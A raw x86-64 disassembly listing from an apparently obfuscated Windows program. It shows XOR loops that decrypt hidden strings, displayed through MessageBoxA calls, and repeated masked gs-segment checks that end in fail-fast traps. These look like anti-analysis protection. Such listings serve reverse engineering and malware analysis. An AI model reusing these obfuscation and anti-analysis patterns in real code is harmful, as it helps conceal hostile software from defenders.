movdqa xmm0, xmmword [0x140121c90]
movdqu xmmword [rbp + 0x758], xmm0
mov dword [rbp + 0x768], 0xff6ed327
mov word [rbp + 0x76c], 0xbe
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x165a80ddfa
movabs r10, 0x2cb501bbf4
mov cl, r9b
and cl, r13b
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x758], dil
inc r9
add r8, r12
add r11, 0x15
cmp r8, r10
jb 0x14005fd91
mov byte [rbp + 0x76d], r15b
xor r9d, r9d
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x758]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x2b]
cmp rax, rsi
jne 0x14005febd
mov rax, qword gs:[0x26]
mov ecx, 0xe04aa78f
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14005fe9d
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14005fe9d
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14005febd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, rsi
jne 0x140060287
mov rax, qword gs:[0x26]
movabs rcx, 0xe742c5c04d18e104
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14005ff55
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14005ff55
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140060287
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140060024
mov rax, qword gs:[0x26]
mov ecx, 0xe04aa78f
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140060004
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140060004
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140060024
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
movdqa xmm0, xmmword [0x140121db0]
movdqu xmmword [rbp + 0x380], xmm0
mov word [rbp + 0x390], Ordinal_60
mov rdi, r15
movabs rsi, 0x110800a91
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x380]
lea rcx, [rbp + 0x380]
call fcn.1400603b8
xor al, dil
mov byte [rbp + rdi + 0x380], al
inc rdi
cmp rdi, 0x11
jb 0x14006004a
mov byte [rbp + 0x391], r15b
movdqa xmm0, xmmword [0x140121b90]
movdqu xmmword [rbp + 0xcd8], xmm0
movdqa xmm1, xmmword [0x140121bd0]
movdqu xmmword [rbp + 0xce8], xmm1
movdqa xmm0, xmmword [0x140121c00]
movdqu xmmword [rbp + 0xcf8], xmm0
mov dword [rbp + 0xd08], 0xef039c4
mov dword [rbp + 0xd0c], 0xdf80278e
mov dword [rbp + 0xd10], 0x9a80f330
mov word [rbp + 0xd14], 0x50
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, 0x3d
mov r8, rdi
mov dl, byte [rbp + rdi + 0xcd8]
lea rcx, [rbp + 0xcd8]
call fcn.14006042c
xor al, dil
mov byte [rbp + rdi + 0xcd8], al
inc rdi
cmp rdi, 0x3d
jb 0x1400600df
mov byte [rbp + 0xd15], r15b
xor r9d, r9d
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0xcd8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x1400601dd
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400601bd
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400601bd
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400601dd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov rax, qword gs:[0x2b]
cmp rax, r12
jne 0x140060287
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x26]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140060267
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140060267
mov rcx, qword gs:[0x26]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140060287
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400c65b8
int3
mov ecx, 1
call fcn.1400c65b8
int3